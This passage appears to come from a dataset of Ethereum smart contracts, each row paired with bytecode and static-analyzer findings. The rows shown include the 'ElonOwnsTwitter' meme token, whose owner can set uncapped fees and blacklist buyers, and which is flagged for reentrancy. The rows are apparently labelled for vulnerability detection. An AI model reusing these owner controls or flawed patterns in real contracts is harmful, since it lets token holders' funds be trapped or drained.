76170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0f556013c33dae663a71cddd70f856112c0cb9d14b42a1611ba898304950e7964736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 689 |
0x5B00690d2d8aE35DD5c600b92F1c90dD0fD01923 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
tweet : https://twitter.com/Lukewearechange/status/1518622346780758017
Locked & renounce at launch : https://t.me/ElonOwnsTwitter
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonOwnsTwitter is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonOwnsTwitter";//
string private constant _symbol = "EOT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x31e59A2B0448cAdd4d0e37830C0597dbEB58B0C8);//
address payable private _marketingAddress = payable(0x31e59A2B0448cAdd4d0e37830C0597dbEB58B0C8);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 33000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054d578063dd62ed3e14610563578063ea1644d5146105a9578063f2fde38b146105c957600080fd5b8063a9059cbb146104c8578063bfd79284146104e8578063c3c8cd8014610518578063c492f0461461052d57600080fd5b80638f9a55c0116100d15780638f9a55c01461044657806395d89b411461045c57806398a5c31514610488578063a2a957bb146104a857600080fd5b80637d1db4a5146103f25780638da5cb5b146104085780638f70ccf71461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b69565b6105e9565b005b34801561020a57600080fd5b5060408051808201909152600f81526e22b637b727bbb739aa3bb4ba3a32b960891b60208201525b60405161023f9190611c9b565b60405180910390f35b34801561025457600080fd5b50610268610263366004611ab9565b610688565b604051901515815260200161023f565b34801561028457600080fd5b50601554610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611a78565b61069f565b34801561030257600080fd5b506102c860195481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601654610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611a05565b610708565b34801561037457600080fd5b506101fc610383366004611c35565b610753565b34801561039457600080fd5b506101fc61079b565b3480156103a957600080fd5b506102c86103b8366004611a05565b6107e6565b3480156103c957600080fd5b506101fc610808565b3480156103de57600080fd5b506101fc6103ed366004611c50565b61087c565b3480156103fe57600080fd5b506102c860175481565b34801561041457600080fd5b506000546001600160a01b0316610298565b34801561043257600080fd5b506101fc610441366004611c35565b6108ab565b34801561045257600080fd5b506102c860185481565b34801561046857600080fd5b506040805180820190915260038152621153d560ea1b6020820152610232565b34801561049457600080fd5b506101fc6104a3366004611c50565b6108f7565b3480156104b457600080fd5b506101fc6104c3366004611c69565b610926565b3480156104d457600080fd5b506102686104e3366004611ab9565b610964565b3480156104f457600080fd5b50610268610503366004611a05565b60116020526000908152604090205460ff1681565b34801561052457600080fd5b506101fc610971565b34801561053957600080fd5b506101fc610548366004611ae5565b6109c5565b34801561055957600080fd5b506102c860085481565b34801561056f57600080fd5b506102c861057e366004611a3f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b557600080fd5b506101fc6105c4366004611c50565b610a66565b3480156105d557600080fd5b506101fc6105e4366004611a05565b610a95565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611cf0565b60405180910390fd5b60005b81518110156106845760016011600084848151811061064057610640611e37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611e06565b91505061061f565b5050565b6000610695338484610b7f565b5060015b92915050565b60006106ac848484610ca3565b6106fe84336106f985604051806060016040528060288152602001611e79602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611261565b610b7f565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161061390611cf0565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061390611cf0565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d057506014546001600160a01b0316336001600160a01b0316145b6107d957600080fd5b476107e38161129b565b50565b6001600160a01b03811660009081526002602052604081205461069990611320565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161061390611cf0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161061390611cf0565b601755565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161061390611cf0565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161061390611cf0565b601955565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161061390611cf0565b600993909355600b91909155600a55600c55565b6000610695338484610ca3565b6013546001600160a01b0316336001600160a01b031614806109a657506014546001600160a01b0316336001600160a01b0316145b6109af57600080fd5b60006109ba306107e6565b90506107e3816113a4565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161061390611cf0565b60005b82811015610a60578160056000868685818110610a1157610a11611e37565b9050602002016020810190610a269190611a05565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5881611e06565b9150506109f2565b50505050565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161061390611cf0565b601855565b6000546001600160a01b03163314610abf5760405162461bcd60e51b815260040161061390611cf0565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610613565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b60008111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b6000546001600160a01b03848116911614801590610df757506000546001600160a01b03838116911614155b1561115a57601654600160a01b900460ff16610e90576000546001600160a01b03848116911614610e905760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610613565b601754811115610ee25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610613565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2457506001600160a01b03821660009081526011602052604090205460ff16155b610f7c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610613565b600854610f8a906001611d96565b4311158015610fa657506016546001600160a01b038481169116145b8015610fc057506015546001600160a01b03838116911614155b8015610fd557506001600160a01b0382163014155b15610ffe576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110835760185481611020846107e6565b61102a9190611d96565b106110835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610613565b600061108e306107e6565b6019546017549192508210159082106110a75760175491505b8080156110be5750601654600160a81b900460ff16155b80156110d857506016546001600160a01b03868116911614155b80156110ed5750601654600160b01b900460ff165b801561111257506001600160a01b03851660009081526005602052604090205460ff16155b801561113757506001600160a01b03841660009081526005602052604090205460ff16155b1561115757611145826113a4565b478015611155576111554761129b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119c57506001600160a01b03831660009081526005602052604090205460ff165b806111ce57506016546001600160a01b038581169116148015906111ce57506016546001600160a01b03848116911614155b156111db57506000611255565b6016546001600160a01b03858116911614801561120657506015546001600160a01b03848116911614155b1561121857600954600d55600a54600e555b6016546001600160a01b03848116911614801561124357506015546001600160a01b03858116911614155b1561125557600b54600d55600c54600e555b610a608484848461152d565b600081848411156112855760405162461bcd60e51b81526004016106139190611c9b565b5060006112928486611def565b95945050505050565b6013546001600160a01b03166108fc6112b583600261155b565b6040518115909202916000818181858888f193505050501580156112dd573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f883600261155b565b6040518115909202916000818181858888f19350505050158015610684573d6000803e3d6000fd5b60006006548211156113875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610613565b600061139161159d565b905061139d838261155b565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ec576113ec611e37565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144057600080fd5b505afa158015611454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114789190611a22565b8160018151811061148b5761148b611e37565b6001600160a01b0392831660209182029290920101526015546114b19130911684610b7f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ea908590600090869030904290600401611d25565b600060405180830381600087803b15801561150457600080fd5b505af1158015611518573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153a5761153a6115c0565b6115458484846115ee565b80610a6057610a60600f54600d55601054600e55565b600061139d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e5565b60008060006115aa611713565b90925090506115b9828261155b565b9250505090565b600d541580156115d05750600e54155b156115d757565b600d8054600f55600e805460105560009182905555565b60008060008060008061160087611755565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163290876117b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166190866117f4565b6001600160a01b03891660009081526002602052604090205561168381611853565b61168d848361189d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d291815260200190565b60405180910390a3505050505050505050565b600081836117065760405162461bcd60e51b81526004016106139190611c9b565b5060006112928486611dae565b6006546000908190683635c9adc5dea0000061172f828261155b565b82101561174c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117728a600d54600e546118c1565b925092509250600061178261159d565b905060008060006117958e878787611916565b919e509c509a509598509396509194505050505091939550919395565b600061139d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611261565b6000806118018385611d96565b90508381101561139d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610613565b600061185d61159d565b9050600061186b8383611966565b3060009081526002602052604090205490915061188890826117f4565b30600090815260026020526040902055505050565b6006546118aa90836117b2565b6006556007546118ba90826117f4565b6007555050565b60008080806118db60646118d58989611966565b9061155b565b905060006118ee60646118d58a89611966565b90506000611906826119008b866117b2565b906117b2565b9992985090965090945050505050565b60008080806119258886611966565b905060006119338887611966565b905060006119418888611966565b905060006119538261190086866117b2565b939b939a50919850919650505050505050565b60008261197557506000610699565b60006119818385611dd0565b90508261198e8583611dae565b1461139d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610613565b80356119f081611e63565b919050565b803580151581146119f057600080fd5b600060208284031215611a1757600080fd5b813561139d81611e63565b600060208284031215611a3457600080fd5b815161139d81611e63565b60008060408385031215611a5257600080fd5b8235611a5d81611e63565b91506020830135611a6d81611e63565b809150509250929050565b600080600060608486031215611a8d57600080fd5b8335611a9881611e63565b92506020840135611aa881611e63565b929592945050506040919091013590565b60008060408385031215611acc57600080fd5b8235611ad781611e63565b946020939093013593505050565b600080600060408486031215611afa57600080fd5b833567ffffffffffffffff80821115611b1257600080fd5b818601915086601f830112611b2657600080fd5b813581811115611b3557600080fd5b8760208260051b8501011115611b4a57600080fd5b602092830195509350611b6091860190506119f5565b90509250925092565b60006020808385031215611b7c57600080fd5b823567ffffffffffffffff80821115611b9457600080fd5b818501915085601f830112611ba857600080fd5b813581811115611bba57611bba611e4d565b8060051b604051601f19603f83011681018181108582111715611bdf57611bdf611e4d565b604052828152858101935084860182860187018a1015611bfe57600080fd5b600095505b83861015611c2857611c14816119e5565b855260019590950194938601938601611c03565b5098975050505050505050565b600060208284031215611c4757600080fd5b61139d826119f5565b600060208284031215611c6257600080fd5b5035919050565b60008060008060808587031215611c7f57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc857858101830151858201604001528201611cac565b81811115611cda576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d755784516001600160a01b031683529383019391830191600101611d50565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da957611da9611e21565b500190565b600082611dcb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dea57611dea611e21565b500290565b600082821015611e0157611e01611e21565b500390565b6000600019821415611e1a57611e1a611e21565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205290c8da7684c99131fe4fc1bae3d5dec591fd49f55f010b4f2d206d06f34b3864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 690 |
0x0c92580d834945789196a473d499a4ae65c7a26a | pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
